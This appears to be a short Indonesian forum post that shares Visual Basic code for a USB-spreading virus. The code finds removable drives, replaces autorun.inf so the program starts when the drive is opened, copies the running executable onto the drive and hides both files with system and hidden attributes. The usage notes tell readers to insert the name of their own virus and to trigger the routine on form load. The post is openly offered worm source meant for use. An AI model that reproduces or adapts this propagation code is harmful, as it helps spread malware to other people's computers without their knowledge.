Code Infeksi USB

Code:

Public Function InfeksiUSB(DigitalCat As String, AD As String) Dim FSO, USBCatLER, USBCat Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT") Set USBCatLER = FSO.DRIVES For Each USBCat In USBCatLER If USBCat.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE If Right(YOL, 1) <> "\" Then DigitalCat= DigitalCat& "\" If DigitalUSB(USBCat & "\autorun.inf") Then SetAttr USBCat & "\autorun.inf", 0 Kill USBCat & "\autorun.inf" End If Open USBCat & "\autorun.inf" For Append As #1 Print #1, "[autorun]" & vbCrLf & _ "open=" & USBCat & "\" & AD Close #1 If Not DigitalUSB(USBCat & "\" & AD) Then FileCopy DigitalCat& AD, USBCat & "\" & AD End If SetAttr USBCat & "\" & AD, 4 SetAttr USBCat & "\autorun.inf", 4 SetAttr USBCat & "\" & AD, 2 SetAttr USBCat & "\autorun.inf", 2 End If Next End Function Public Function DigitalUSB(DosyaAdi As String) As Boolean On Error GoTo CekUSB Call FileLen(DosyaAdi) DigitalUSB = True Exit Function CekUSB: End Function Sub Main() InfeksiUSB App.Path, App.EXEName & ".exe" End Sub Cara Pakai : Pada code ini (ada .exe,-> letakkan nama virus kamu bisa jg diganti *.Vbs,etc..) InfeksiUSB App.Path, App.EXEName & ".exe" pada form load / dimana code virus kamu letakkan untuk mengaktifkan virus kamu cukup gunakan / panggil

Code:

call InfeksiUSB

jika code ini di letakkan di module : gunakan code ini :

Code:

NamaModule.InfeksiUSB